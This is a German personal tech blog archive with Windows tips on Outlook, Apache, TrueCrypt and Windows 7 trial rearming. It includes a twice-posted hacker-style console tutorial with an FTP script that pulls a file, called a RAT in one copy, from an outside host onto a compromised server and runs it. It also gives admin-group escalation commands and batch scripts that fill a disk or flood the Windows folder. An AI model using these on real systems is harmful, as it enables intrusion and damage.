Daniel Schröter's Blog
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Einträge in der Kategorie Win Stuff

Abwesenheitsassistent unter Outlook lässt sich nicht mehr starten

Feb26
2010
Kommentieren Geschrieben von Daniel

Fehlermeldung(en):
Der Text für die automatische Antwort kann nicht angezeigt werden. Ein Client-Vorgang ist fehlgeschlagen.

oder

Der Befehl steht nicht zur Verfügung. Sehen Sie in der Programmdokumentation nach, wie diese Erweiterung verwendet wird.


oder

Der Text für die automatische Antwort kann nicht angezeigt werden. Ein Client-Vorgang ist fehlgeschlagen.

Dies ist seitens Microsoft ein “known-issue” und kann wie folgt behoben werden:

Regedit starten

HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Resiliency löschen

oder

HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Resiliency löschen
sollte das nicht helfen gibts noch eine andere möglichkeit die man ausprobieren kann:

Outlook beenden – Start -> Ausführen – “Outlook /CleanRules” eingeben.

UND sollte dies auch nicht helfen, einfach mal Outlook reparieren ;)

Geposted in Bugs - Schlagwörter outlook abwesenheitsassistent fehler, outlook abwesenheitsassistent kann nicht gestartet werd, outlook fehler bei abwesenheitsassistent

How to change Service Tag on Dell Computers

Feb11
2010
Kommentieren Geschrieben von Daniel

1. Boot from the asset tag floppy (Copy THIS file to a Floppy or Other Device and start this with MS DOS)

2. Type Asset /s xxxxx <enter> (where xxxxx is the Service-Tag number)

3. Type y <enter> may be asked to retype the service tag number in again. this can only be done once.

4. reboot to F2 and see if service tag has been entered.

If still having a problem the system board will most likely need to be replaced

Geposted in Tipps&Tricks - Schlagwörter change Service-Tag, Dell Service Tag, dell service tag change

Apache unter Windows konfigurieren

Jan27
2010
Kommentieren Geschrieben von Daniel

Nach der installation muss die httpd.conf (C:\Programme\Apache Software
Foundation\Apache2.2\conf) geöffnet werden.

• Den Parameter „Listen 80“ auf „Listen 90“ verändern. (Webseite ist dann unter dem Port 90
erreichbar) – OPTIONAL!
• Die Zeile „DocumentRoot “C:/Programme/Apache Software
Foundation/Apache2.2/htdocs”“ in „DocumentRoot “C:/server/http” ändern.
• Die Zeile „<Directory “C:/Programme/Apache Software Foundation/Apache2.2/htdocs”>“
muss mit dem richtigem Pfad versehen werden. D.h. Mit „<Directory “C:/server/http”>“
• Um das logging zu Aktivieren muss die Zeile „#CustomLog logs/access.log combined“
gesucht werden und das „#“-Zeichen entfernt werden. Das Raute Zeichen steht dafür das die
Zeile kommentiert ist. (D.h. In „CustomLog logs/access.log“)
• Kontrollieren ob in dem Feld „ServerAdmin“ eine Mailadresse eingetragen ist (Beispiel:
bla@bla.de). Sonst lässt sich der Dienst nicht starten.

Damit die geänderte Konfiguration übernommen wird muss der Apache-Dienst(Apache2) neu
gestartet werden. (services.msc).

Um die Seite aufzurufen muss http://localhost:90 in ein Webbrowser eingegeben werden.

Schlagwörter apache konfigurieren, apache unter win, apache windows

Festplatte verschlüsseln mit TrueCrypt

Dez12
2009
Kommentieren Geschrieben von Daniel

Vorraussetzungen:
Eine Partition, die ihr verschlüsseln wollt, so wie ein Passwort, das nur ihr wisst und ihr “nicht mehr” vergessen solltet, denn ansonsten kommt ihr nicht mehr an die Daten ran!

Download von TrueCrypt

Weitere Informationen über TrueCrypt

Lektion 1 – Partition verschlüsseln

  1. TrueCrypt starten und “Create Volume” auswählen.
  2. Ob sichtbar oder unsichtbar (hidden) könnt ihr selbst entscheiden. Klickt dann auf Next.
  3. Jetzt sucht ihr die zu verschlüsselnde Partition, bestätigt mit Ok, und lasst den Haken bei “Never Search History” drin. Next!

Entcryption Algorithm: Wählt AES aus.
Hash Algorithm: SAH-1

Klickt weiter bis ihr zum letzten Feld gelangt:
Nun müsst ihr das Passwort eintippen.
Ihr dürft es nicht mehr vergessen…!

Filesystem: NTFS
Cluster: Default

! ! ! Bitte beachtet, dass eure Partition formatiert wird ! ! !

Jetzt klickt ihr auf “Format” – das kann eine weile dauern.

Lektion 2 – Partition mounten
(muss vor der Benutzung gemacht werden)

  1. True Crypt starten und auf “Select Device” klicken, dort wählt ihr die zu entschlüsselnde Partition aus.
  2. Wählt im Fenster einen Laufwerksbuchstaben aus! -> Doppelklick.
  3. Passwort eintippen! (Nicht die Option “Cache Password and Keyfiles in Memory” auswählen!) -> Ok!
  4. Jetzt ist die Partition im Arbeitsplatz sichtbar und ihr könnt darauf zugreifen.
Geposted in Downloads, Tipps&Tricks - Schlagwörter HDD crypt, TrueCrypt verschlüsselung, verschlüsselung

Konsolenbefehle (CMD und Bash)

Dez12
2009
Kommentieren Geschrieben von Daniel

Wir haben jetzt schon einige Wege kennengelernt, eine Remote-Shell (Konsole) auf einem System zu bekommen. Doch was nützt uns das, wenn wir keine tollen Befehle kenn, mit denen wir die Konsole füttern können? Nichts :)
Unter Windows ist die Konsole die Eingabeaufforderung oder auch CMD (von command.com) genannt. Unter Linux gibt es verschiedene Konsolen, doch die am meisten genutzte ist wohl die Bash (Burn Again Shell). Auch wenn euch die Shells zu Anfang recht kompliziert vorkommen, wenn man sich mit ihnen angefreundet hat merkt man, dass sie einem relativ viel Arbeit ersparen und vor allen sehr Mächtig sind. Ausserdem sind sie für das Benutzen von Exploit unerlässlich ;) Also fangen wir mal an…

CMD

Wie bereits geschrieben auch Eingabeaufforderung genannt. Unter Windows erreicht ihr sie indem ihr auf Start -> Ausführen -> cmd geht. Die Klammern < > die ich verwende, gehören nicht zum Befehlssyntax, sondern sollen euch nur sagen, dass ihr hier eigene Parameter angeben müsst. Also dann gehen wir mal an die Basics =D Wenn ihr mehr zu einem Befehl wissen wollt gibt als Parameter einfach /? ein und ihr bekommt eine ausführliche Hilfe. Groß- und Kleinschreibung ist bei Windows egal.

<Datei> – öffnet eine Datei
cd <Verzeichnis> – Wechseln in ein Verzeichnis (Change Directory)
cd – Wechselt in das Wurzelverzeichnis (Root-Directory)
cd.. – Wechselt ein Verzeichnis nach oben im Verzeichnisbaum
dir – Listet den Inhalt des Ordners auf in dem ihr euch gerade befindet
dir *.exe – Listet alle Dateien mit der Endung .exe auf (im aktuellen Verzeichnis)
<Festplattenbuchstabe>: – Wechselt auf eine andere Festplatte
del <Datei> – Löscht eine Datei
del *.* – Löscht alle Dateien im aktuellen Verzeichnis
move <Quelle> <Ziel> – Verschieben von Quelle nach Ziel
copy <Quelle> <Ziel> – Kopiert Datei von Quelle nach Ziel
format <Festplattenbuchstabe> – *hrrrr* ^^
mkdir <Name> – Erstellt ein Verzeichnis
rename <Datei1> <Datei2> – Datei1 in Datei2 umbenennen
net user – Gibt uns eine Liste alle Benutzer
net user <Name> – Gibt Informationen über einen bestimmten Benutzer aus
net localgroup – Listet alle lokalen Benutzergruppen auf
net localgroup <Name> – Informationen und Mitglieder einer bestimmten Gruppe
net services – Gibt uns eine Liste alle Dienste sowie deren Status an
net start <Dienst> – Startet einen Dienst
net stop <Dienst> – Stoppt einen Dienst
net send <Hostname/IP> <Nachricht> – Sendet eine Nachricht an einen PC
net user <Name> * /ADD – Fügt einen neuen Benutzer hinzu (Gruppe: Benutzer)
net localgroup <Gruppe> <Name> /ADD – Fügt einen Benutzer einer Gruppe hinzu – Wie wäre es mit Administratoren =D
echo <Irgendwas> – Der Text nach echo wir ausgegeben
echo %<Umgebungsvariable>% – Gibt den Inhalt einer Umgebungsvariable aus
ftp – Startet den FTP-Client
telnet – Startet den Telnet-Client
telnet <Ip/Host> <Port> – Zu einem Rechner auf einem bestimmten Port verbinden
ping <Hostname/IP> – Ping eine IP
set – Zeigt alle Umgebungsvariablen an
title <String> – Verpasst unserer Konsole einen neuen Titel
color <inderhilfegucken> – Farbe gefällig ;)
type <Datei> – Zeigt den Inhalt einer Datei
find “<String>” /i <Datei> – Durchsucht eine Datei nach einem String und ignoriert Groß- und Kleinschriebung
ver – Zeigt uns die aktuelle Windows-Version an
rem <irgendwas> – Macht NIX :D Mit rem kommentiert man in Batch seinen Code
cls – Löscht den Inhalt der Konsole

Umleitungsoperatoren

dir /s | find “.bmp” /i
dir /s listet den kompletten Verzeichnisbaum inc. Unterverzeichnisse und Dateien auf (also den gesammten Festplatteninhalt). Das Pipe-Symbol | leitet diese Ausgabe jetzt nicht auf den Bildschrim sondern zum Befehl find “.bmp” /i weiter, wo nach dem String .bmp gesucht wird. So bekommen wir alle .bmps die sich auf der Festplatte angezeigt.

echo w00t > new.txt
echo w00t würde eigentlich den Text w00t auf dem Bildschirm ausgeben, doch dieser wir durch den Umleitungsoperator > (ein Krokodil, das den Text auffrisst :P ) in die Datei new.txt geschrieben. Existiert die Datei nicht, so wird diese erstellt. Existiert die Datei bereits, so wird sie überschrieben.

echo r00t >> new.txt
Der Effekt ist der Gleiche wie bei nur einem Umleitungsoperator, doch wir die Datei nicht überschrieben, falls sie bereits vorhanden ist, sondern wird unsere Ausgabe unten angefügt.

Es gibt noch dem < Umleitungsoperator, aber den hab ich noch nie gebraucht =D

FTP-Script

Jetzt stellt euch aber mal vor ihr habt eine Remote-Shell auf einem Server und wollt eine Datei hochladen. Was machen wir dann? Zuerst holen wir uns etwas Webspace (zB. www.tripod.de) wo wir unsere Datei(en) hochladen, dann schreiben wir uns ein kleines Script und füttern damit den FTP-Client :]

echo open ftp.tripod.de > scr
echo user <Benutername> >> scr
echo <Passwort> >> scr
echo type binary >> scr
echo get <Datei> >> scr
echo quit >> scr
ftp –s:scr –v –n

Jetzt nur noch die Datei ausführen und schon sind wir am Ziel…

Konsolen-Styling

Wenn wir jetzt schon zu Tastatur-Cowboys geworden sind, dann brauchen wir auch eine kewle Shell mit der wir und durch die ganze Welt hacken =D Und mit unserem jetzigen Wissen ist das ganze auch kein Problem mehr =P
Macht einen Rechtsklick auf euren Desktop und geht auf Neu -> Verknüpfung. Jetzt geben wir als Datei folgenden ellenlangen String an:

cmd /k title :: moo’s haXX0r Konsole & color 0a & cd & cls & echo +++++++++++++++++++++++++ & echo + Welcome to HaXX-Shell + & echo +++++++++++++++++++++++++  & ver

Fertig.
cmd /k startet die Konsole und lässt die offen. Der Befehl title legt den Titel des Fensters fest, color 0a sorgt für die Matrix-Farbe, cls löscht den Konsolen-Inhalt, echo gibt eine kewle Begrüßung aus und ver zeigt uns unsere Windows-Version an. Die einzelnen Befehle sind durch & verkettet.

Schrieben wir uns mal ein kleines Batch-Script, dass die Festplatte mit Datenmüll floodet =P Notepad öffnen und folgenden Code abschreiben (kein Copy & Paste). Dann als .bat oder .cmd speichern (nicht als .txt).

@echo off
echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > big
:loop
type big >> big
goto loop

@echo off sorgt dafür, dass die Befehle nicht immer auf dem Bildschirm ausgegeben werden. Dann erstellen wir uns eine Datei mit lauter XXXXX drinne. Setzt setzen wir eine Sprungmarke und lassen und mit type die XXXXX-Datei ausgeben. Aber nicht auf den Bildschirm, sondern fügen den Inhalt noch mal an die Datei big dran. Dann springen wir wieder zur Sprungmarke und das Spiel geht von vorne los =D Die big-Datei wächst also exponentiell (1-2-4-8-16-32-64-128-256-512-1024-usw.) und nach kurzer Zeit ist die Festplatte mit einer Datei voll.

Ein Ordner-Flooder ist auch ganz lustig (:

@echo off
cd C:WINNT
:loop
mkdir %random%%random%%random%
goto loop

Wir wechseln erst in das Windows-Verzeichnis und erstellen dann Ordner mit einer (in unserem Fall drei) Zufallszahl (probiert mal echo %random%) also Ordnernamen. Dann wird geloopt. Schon sind in Sekunden tausende von Ordnern erstellt :>

Ihr seht, mit der Konsole kann man ziemlich viel machen. Ihr habt nur einen Bruchteil der vorhandenen Befehle kennengelernt (alleine der net-Befehl ist riesig und mächtig =D) und viele warten noch darauf von euch benutzt zu werden . Ein kleine Listet erhaltet ihr, wenn ihr in der Konsole einfach mal help eingebt.
Wenn man einigermaßen mit der Konsole umgehen kann, ist es auch keine Arbeit Batch zu lernen, was wirklich einfach ist und trotzdem sehr hilfreich sein kann.

Bash

Meisten bekommen wir beim r00ten von Rechnern ja eine Remote-Shell, auf der wir unser Unwesen treiben können. Und damit wir unsere 1337-Karriere voranzutreiben müssen wir lernen Exploits zu benutzen. Doch die sind fast alle für Linux geschrieben… Wir ihr seht kommt der Ueberhacker von Heute kaum um Linux rum. Also lasst uns mal einen kleinen Blick auf die wichtigsten Befehle werfe =D

pwd – Gibt das aktuelle Arbeitsverzeichnis aus
cd <Verzeichnis> – Wechselt in ein Verzeichnis
cd .. – Geht ein Verzeichnis nach oben im Verzeichnisbaum
ls – Gibt uns den Ordnerinhalt aus
cd – Wechselt ins Home-Verzeichnis
ls –a – Gibt uns den Ordnerinhalt mit erweiterten Informationen aus
mkdir <Name> – Erstellt einen Ordner
mv <Quelle> <Ziel> – Verschiebt von Quelle nach Ziel
rm <Datei> – Löscht Dateien
cp <Quelle> <Ziel> – Kopiert Datei(en)
chmod – Rechteverteilung für Dateien/Ordner. Am besten die Hilfe angucken
cat <Datei> – Gibt den Inhalt einer Datei aus
grep “<String>” <Datei> – Durchsucht eine Datei nach einem String
find <Pfad> <String> – Sucht ausgehen vom Pfad nach Dateien
ln –s <Pfad/Datei> <Linkname> – Erstellt einen Softlink
echo <String> – Gibt einen String aus
touch <Name> – Erstellt eine leere Datei
ps –a – Zeigt alle laufenden Prozesse an
kill <pid> – Einen Prozess beenden
clear – Bildschirminhalt löschen
telnet <Ip/Host> <Port> – Verbindet sich zu einem Rechner auf einem bestimmten Port
joe <Datei> – Lädt eine Datei in Joe (Texteditor; falls installiert>
mc – Startet den Midnight-Commander (falls instelliert)
gcc exp.c –o exp – Compiliert den Code exp.c und erstellt die Datei exp
./exp – führt die Datei exp aus

Das waren jetzt einiger ganz einfach Grundlagen. Aber ich muss das Rad nicht neu erfinden =D Es gibt genug Webseiten und Bücher, die sich ausführlich mit diese, Thema beschäftigen. Also bei Bedarf einfach ein bissel googeln und ihr werdet sich was brauchbares finden.
Die Umleitungsoperatoren funktionieren genau so wie bei Windows, also muss ich darauf nicht näher eingehen (einfach bei CMD noch mal gucken). Und Bash-Scripte werde ich jetzt auch nicht mit euch schreiben.

Geposted in Linux Stuff

Windows 7 Testversion verlängern

Aug05
2009
Kommentieren Geschrieben von Daniel

Hier eine Anleitung wie der Testzeitraum von Windows 7 legal um 120 Tage verlängert wird:

1.) Installiere Windows 7 ohne Product Key

2.) Benutze Windows 7 bis der das Aktivierungsdatum auf 0 (Null) Tage abgelaufen ist und die Aktivierungsmeldung angezeigt wird.

3.) Eingabeaufforderung öffnen (Start -> cmd -> ENTER drücken) und folgende Befehle nacheinander eingeben:

sysprep /generalize

slmgr.vbs rearm

rundll32 slc.dll,SLReArmWindows

slmgr /rearm

4.) Windows 7 ist nun wieder für 30 Tage freigeschaltet, dies kann man maximal 3 mal wiederholen —>120 tage !!!!!

Ordnergrößen auflisten

Feb12
2009
Kommentieren Geschrieben von Daniel

Ein tolles Tool um bei mehreren Ordnern die Größe anzeigen zu lassen ist TreeSize. Das 1MB kleine Programm benötigt keine Installation und kann direkt gestartet werden. Ideal für Fileserver geeignet :-)

treesize

Download:

treesizefree v2.2.1

Webseite des Herstellers:

jam-software.com

Geposted in Downloads, Tipps&Tricks - Schlagwörter auflistung aller Ordnergrößen, auflistung von mehreren Ordnergrößen, Größe mehrerer Ordner anzeigen, in Bytes, in GB, in MB, Ordnergröße auflisten, ordnergrößen, TreeSize

Outlook Sicherheitswarnungen deaktivieren

Feb12
2009
Kommentieren Geschrieben von Daniel

Es kommt manchmal vor das ein externes Programm zugriff auf das Adressbuch von Outlook benötigt.

Outlook selbst gibt dann eine Sicherheitswarnung die in etwa so lautet:

Eine Anwendung versucht, automatisch Nachrichten in Ihrem Auftrag zu senden. Möchten Sie dies zulassen?

Falls dies unerwartet geschieht, könnte es sich um einen Virus handeln. Gewähren Sie in diesem Fall keinen Zugriff.

Jetzt hat man nur die möglichkeit für max. 10 Minuten den Zugriff zu gewähren, danach beginnt der Spaß wieder von vorne…

zugriffsmeldung

Eine Abhilfe schafft das Programm “Advanced Security für Outlo0k”, dieses Programm gibt die möglichkeit solche Meldungen mit einem Knopfdruck für immer zu erlauben bzw. zu blockieren.

advancedsecurityoutlook

Download:

security_outlook v1.43

Website des Herstellers:
mapilab.com

Geposted in Tipps&Tricks - Schlagwörter ausblenden Fehlermeldungen (Outlook), automatisch Sicherheitswarnungen ausblenden, externe Anwendung wir immer zugriff auf Outlook geben, Outlook 2003 Fehlermeldungen, outlook sicherheitswarnungen, Outlook Sicherheitswarnungen deaktivieren, Outlook Zugriff für 10 Minuten, Programme zugriff auf Outlook für immer gewähren, Zugriff gewählen beim Outlook

Windows: Laufwerksbuchstaben automatisch richtig zuweisen

Feb11
2009
Kommentieren Geschrieben von Daniel

Manchmal taucht bei Windows das Problem auf, das wenn man ein USB-Stick reinsteckt. Er den Stick nicht erkennt, aber ein Signalton von sich gibt.

Das liegt daran das Windows versucht einen bereits vorhandenen Buchstaben zu vergeben, dieses kann man endweder Manuel / pro Stick ändern indem man in die “Computer Verwaltung” auf die “Datenträgerverwaltung” geht und dem Laufwerk einen anderen (freien) Laufwerksbuchstaben zuweist ODER aber man installiert eine Art Laufwerksbuchstaben-Manager, dieser wird als Dienst gestartet (wenn die install.bat ausgeführt wird) und erkennt automatisch welcher Laufwerksbuchstabe vergeben ist, und welcher nicht.

Download:

USBDLM v4.2.4

Quelle:

www.uwe-sieber.de

Geposted in Downloads, Tipps&Tricks - Schlagwörter freien Laufwerksbuchstaben vergeben, Laufwerksbuchstaben automatisch zuweisen, Probleme bei Windows Wechseldatenträgerbuchstaben, Windows Laufwerksbuchstaben Problem, Windows Laufwerksbuchstaben zuweisen

LAN Einstellungen “Authentication” verschwunden

Jun26
2008
Kommentieren Geschrieben von Daniel

Nach dem update auf Windows XP Service Pack 3 (SP3) habe ich mich plötzlich gewundert wieso ich nichtmehr den Punkt “Authentication” in den “Local Area Connection” Einstellungen hatte. (Da kann man unteranderem die IEEE 802.1X authentication aktivieren)

Dieser ist nämlich unter SP3 standardmässig deaktiviert und muss erst Manuel auf Automatisch gesetzt werden bzw. gestartet werden.

Dazu geht ihr einfach in die Services Verwaltung und startet den Service “Wired AutoConfig” (Unter englischem XP heißt das zumindestens so). Und stellt gleichzeitig den Status auf “Automatisch“.

Dann sieht er den punkt Authentication wieder :)

Geposted in Tipps&Tricks - Schlagwörter authentication verschwunden, sp3 bug, SP3 IEEE 802.1X Authentication aktivieren, sp3 lan authentication

So verschlüsselt ihr eure (externe) Festplatte mit Hilfe von TrueCrypt

Jun06
2008
Kommentieren Geschrieben von Daniel

Vorraussetzungen:
Eine Partition, die ihr verschlüsseln wollt, so wie ein Passwort, das nur ihr wisst und ihr nicht mehr vergessen werdet, denn ansonsten kommt ihr nicht mehr an die Daten ran!

Lektion 1 – Partition verschlüsseln

- TrueCrypt starten und “Create Volume” auswählen.
- Ob sichtbar oder unsichtbar (hidden) könnt ihr selbst entscheiden. Klickt dann auf Next.
- Jetzt sucht ihr die zu verschlüsselnde Partition, bestätigt mit Ok, und lasst den Haken bei “Never Search History” drin. Next!

Entcryption Algorithm: Wählt AES aus.
Hash Algorithm: SAH-1

Klickt weiter bis ihr zum letzten Feld gelangt:
Nun müsst ihr das Passwort eintippen.
Ihr dürft es nicht mehr vergessen…!

Filesystem: NTFS
Cluster: Default

Bitte beachtet, dass eure Partition formatiert wird!!!

Jetzt klickt ihr auf “Format” – das kann dauern.

Lektion 2 – Partition mounten
(muss vor der Benutzung gemacht werden)

- True Crypt starten und auf “Select Device” klicken, dort wählt ihr die zu entschlüsselnde Partition aus.
- Wählt im Fenster einen Laufwerksbuchstaben aus! Doppelklick.
- Passwort eintippen! (Nicht die Option “Cache Password and Keyfiles in Memory” auswählen!)
- Ok!
- Jetzt ist die Partition im Arbeitsplatz sichtbar und ihr könnt darauf zugreifen.

Konsolenbefehle (CMD und Bash)

Jun06
2008
Kommentieren Geschrieben von Daniel

Konsolenbefehle (CMD und Bash)

Wir haben jetzt schon einige Wege kennengelernt, eine Remote-Shell (Konsole) auf einem System zu bekommen. Doch was nützt uns das, wenn wir keine tollen Befehle kenn, mit denen wir die Konsole füttern können? Unter Windows ist die Konsole die Eingabeaufforderung oder auch CMD (von command.com) genannt. Unter Linux gibt es verschiedene Konsolen, doch die am meisten genutzte ist wohl die Bash (Burn Again Shell). Auch wenn euch die Shells zu Anfang recht kompliziert vorkommen, wenn man sich mit ihnen angefreundet hat merkt man, dass sie einem relativ viel Arbeit ersparen und vor allen sehr Mächtig sind. Ausserdem sind sie für das Benutzen von Exploit unerlässlich. Also fangen wir mal an…

CMD

Wie bereits geschrieben auch Eingabeaufforderung genannt. Unter Windows erreicht ihr sie indem ihr auf Start -> Ausführen -> cmd geht. Die Klammern < > die ich verwende, gehören nicht zum Befehlssyntax, sondern sollen euch nur sagen, dass ihr hier eigene Parameter angeben müsst. Also dann gehen wir mal an die Basics. Wenn ihr mehr zu einem Befehl wissen wollt gibt als Parameter einfach /? ein und ihr bekommt eine ausführliche Hilfe. Groß- und Kleinschreibung ist bei Windows egal.

- öffnet eine Datei
cd – Wechseln in ein Verzeichnis (Change Directory)
cd – Wechselt in das Wurzelverzeichnis (Root-Directory)
cd.. – Wechselt ein Verzeichnis nach oben im Verzeichnisbaum
dir – Listet den Inhalt des Ordners auf in dem ihr euch gerade befindet
dir *.exe – Listet alle Dateien mit der Endung .exe auf (im aktuellen Verzeichnis)
: – Wechselt auf eine andere Festplatte
del – Löscht eine Datei
del *.* – Löscht alle Dateien im aktuellen Verzeichnis
move – Verschieben von Quelle nach Ziel
copy – Kopiert Datei von Quelle nach Ziel
format – *hrrrr* =D
mkdir – Erstellt ein Verzeichnis
rename – Datei1 in Datei2 umbenennen
net user – Gibt uns eine Liste alle Benutzer
net user – Gibt Informationen über einen bestimmten Benutzer aus
net localgroup – Listet alle lokalen Benutzergruppen auf
net localgroup – Informationen und Mitglieder einer bestimmten Gruppe
net services – Gibt uns eine Liste alle Dienste sowie deren Status an
net start – Startet einen Dienst
net stop – Stoppt einen Dienst
net send – Sendet eine Nachricht an einen PC
net user * /ADD – Fügt einen neuen Benutzer hinzu (Gruppe: Benutzer)
net localgroup /ADD – Fügt einen Benutzer einer Gruppe hinzu – Wie wäre es mit Administratoren =D
echo – Der Text nach echo wir ausgegeben
echo %% – Gibt den Inhalt einer Umgebungsvariable aus
ftp – Startet den FTP-Client
telnet – Startet den Telnet-Client
telnet – Zu einem Rechner auf einem bestimmten Port verbinden
ping – Ping eine IP
set – Zeigt alle Umgebungsvariablen an
title – Verpasst unserer Konsole einen neuen Titel
color – Farbe gefällig =D
type – Zeigt den Inhalt einer Datei
find “” /i – Durchsucht eine Datei nach einem String und ignoriert Groß- und Kleinschriebung
ver – Zeigt uns die aktuelle Windows-Version an
rem – Macht NIX =D Mit rem kommentiert man in Batch seinen Code =P
cls – Löscht den Inhalt der Konsole (falls das FBI gerade kommt =D)

Umleitungsoperatoren

dir /s | find “.bmp” /i
dir /s listet den kompletten Verzeichnisbaum inc. Unterverzeichnisse und Dateien auf (also den gesammten Festplatteninhalt). Das Pipe-Symbol | leitet diese Ausgabe jetzt nicht auf den Bildschrim sondern zum Befehl find “.bmp” /i weiter, wo nach dem String .bmp gesucht wird. So bekommen wir alle .bmps die sich auf der Festplatte angezeigt.

echo mo > new.txt
echo moo würde eigentlich den Text moo auf dem Bildschirm ausgeben, doch dieser wir durch den Umleitungsoperator > (ein Krokodil, das den Text auffrisst :P ) in die Datei new.txt geschrieben. Existiert die Datei nicht, so wird diese erstellt. Existiert die Datei bereits, so wird sie überschrieben.

echo r00t >> new.txt
Der Effekt ist der Gleiche wie bei nur einem Umleitungsoperator, doch wir die Datei nicht überschrieben, falls sie bereits vorhanden ist, sondern wird unsere Ausgabe unten angefügt.

Es gibt noch dem < Umleitungsoperator, aber den hab ich noch nie gebraucht.

FTP-Script

Jetzt stellt euch aber mal vor ihr habt eine Remote-Shell auf einem Server und wollt eine Datei hochladen (zB. ein RAT). Was machen wir dann? Zuerst holen wir uns etwas Webspace (zB. www.tripod.de) wo wir unsere Datei(en) hochladen, dann schreiben wir uns ein kleines Script und füttern damit den FTP-Client.

echo open ftp.tripod.de > scr
echo user >> scra
echo
>> scr
echo type binary >> scr
echo get >> scr
echo quit >> scr
ftp –s:scr –v –n

Jetzt nur noch die Datei ausführen und schon sind wir am Ziel.

Konsolen-Styling

Wenn wir jetzt schon zu Tastatur-Cowboys geworden sind, dann brauchen wir auch eine kewle Shell mit der wir und durch die ganze Welt hacken. Und mit unserem jetzigen Wissen ist das ganze auch kein Problem mehr =P
Macht einen Rechtsklick auf euren Desktop und geht auf Neu -> Verknüpfung. Jetzt geben wir als Datei folgenden ellenlangen String an…

cmd /k title :: mygov’s haXX0r Konsole & color 0a & cd & cls & echo +++++++++++++++++++++++++ & echo + Welcome to HaXX-Shell + & echo +++++++++++++++++++++++++ & ver

Fertig =D Noch ein schönes Icon und wir hacken gleich viel besser als zuvor =D
cmd /k startet die Konsole und lässt die offen. Der Befehl title legt den Titel des Fensters fest, color 0a sorgt für die Matrix-Farbe, cls löscht den Konsolen-Inhalt, echo gibt eine kewle Begrüßung aus und ver zeigt uns unsere Windows-Version an. Die einzelnen Befehle sind durch & verkettet.

Blödsinn in Batch…

Schrieben wir uns mal ein kleines Batch-Script, dass die Festplatte mit Datenmüll floodet =D Notepad öffnen und folgenden Code abschreiben (kein Copy & Paste). Dann als .bat oder .cmd speichern (nicht als .txt).

@echo off
echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > big
:loop
type big >> big
goto loop

@echo off sorgt dafür, dass die Befehle nicht immer auf dem Bildschirm ausgegeben werden. Dann erstellen wir uns eine Datei mit lauter XXXXX drinne. Setzt setzen wir eine Sprungmarke und lassen und mit type die XXXXX-Datei ausgeben. Aber nicht auf den Bildschirm, sondern fügen den Inhalt noch mal an die Datei big dran. Dann springen wir wieder zur Sprungmarke und das Spiel geht von vorne los =D Die big-Datei wächst also exponentiell (1-2-4-8-16-32-64-128-256-512-1024-usw.) und nach kurzer Zeit ist die Festplatte mit einer Datei voll =D

Ein Ordner-Flooder ist auch ganz lustig =)

@echo off
cd C:WINNT
:loop
mkdir %random%%random%%random%
goto loop

Wir wechseln erst in das Windows-Verzeichnis und erstellen dann Ordner mit einer (in unserem Fall drei) Zufallszahl (probiert mal echo %random%) also Ordnernamen. Dann wird geloopt. Schon sind in Sekunden tausende von Ordnern erstellt.

CMD und Batch ist toll :>

Ihr seht, mit der Konsole kann man ziemlich viel machen. Ihr habt nur einen Bruchteil der vorhandenen Befehle kennengelernt (alleine der net-Befehl ist riesig und mächtig) und viele warten noch darauf von euch benutzt zu werden. Ein kleine Listet erhaltet ihr, wenn ihr in der Konsole einfach mal help eingebt.
Wenn man einigermaßen mit der Konsole umgehen kann, ist es auch keine Arbeit Batch zu lernen, was wirklich einfach ist und trotzdem sehr hilfreich sein kann.

Bash

Meisten bekommen wir beim r00ten von Rechnern ja eine Remote-Shell, auf der wir unser Unwesen treiben können. Doch da wir alle Windows-User mit Leib und Seele sind, haben wir keine Ahnung, welche Befehle uns zur Verfügung stehen. Na dann müssen wir wohl ein paar Befehle kennenlernen. Und damit wir unsere 1337-Karriere voranzutreiben müssen wir lernen Exploits zu benutzen. Doch die sind fast alle für Linux geschrieben… Wir ihr seht kommt der Ueberhacker von Heute kaum um Linux rum. Also lasst uns mal einen kleinen Blick auf die wichtigsten Befehle werfe:

pwd – Gibt das aktuelle Arbeitsverzeichnis aus
cd – Wechselt in ein Verzeichnis
cd .. – Geht ein Verzeichnis nach oben im Verzeichnisbaum
ls – Gibt uns den Ordnerinhalt aus
cd – Wechselt ins Home-Verzeichnis
ls –a – Gibt uns den Ordnerinhalt mit erweiterten Informationen aus
mkdir – Erstellt einen Ordner
mv – Verschiebt von Quelle nach Ziel
rm – Löscht Dateien
cp – Kopiert Datei(en)
chmod – Rechteverteilung für Dateien/Ordner. Am besten die Hilfe angucken
cat – Gibt den Inhalt einer Datei aus
grep “” – Durchsucht eine Datei nach einem String
find – Sucht ausgehen vom Pfad nach Dateien
ln –s – Erstellt einen Softlink
echo – Gibt einen String aus
touch – Erstellt eine leere Datei
ps –a – Zeigt alle laufenden Prozesse an
kill – Einen Prozess beenden
clear – Bildschirminhalt löschen
telnet – Verbindet sich zu einem Rechner auf einem bestimmten Port
joe – Lädt eine Datei in Joe (Texteditor; falls installiert>
mc – Startet den Midnight-Commander (falls instelliert)
gcc exp.c –o exp – Compiliert den Code exp.c und erstellt die Datei exp
./exp – führt die Datei exp aus

Das waren jetzt einige ganz einfache Grundlagen. Aber ich muss das Rad nicht neu erfinden… Es gibt genug Webseiten und Bücher, die sich ausführlich mit diese, Thema beschäftigen. Also bei Bedarf einfach ein bissel googeln und ihr werdet sich was brauchbares finden!
Die Umleitungsoperatoren funktionieren genau so wie bei Windows, also muss ich darauf nicht näher eingehen (einfach bei CMD noch mal gucken). Und Bash-Scripte werde ich jetzt auch nicht mit euch schreiben =D

Geposted in Linux Stuff

Windows – Home Phone

Jun04
2008
Kommentieren Geschrieben von Daniel

Autor: frek [kip@lavabit.com]
Version: 1.0

Windows – Phone Home
====================

1.0 Inhalt
1.1 Einleitung
2.0 RegDone – Onlinesystemüberprüfung
3.0 Der Internet Explorer
3.1 Alexia-Service
4.0 Die Akte Windows Media Player
5.0 Fehlerberichterstattung
6.0 Microsofts Internetzeit-Server
7.0 Windows Update
8.0 Schlusswort

1.1 Einleitung
—————

Phone Home !?! Was ist das nun schon wieder? Warum will Windows nach Hause telefonieren? Wahrscheinlich, um den Entwicklern zu sagen “kApuTT, krechhh crkkkrchhhhhhh …, tot!”.
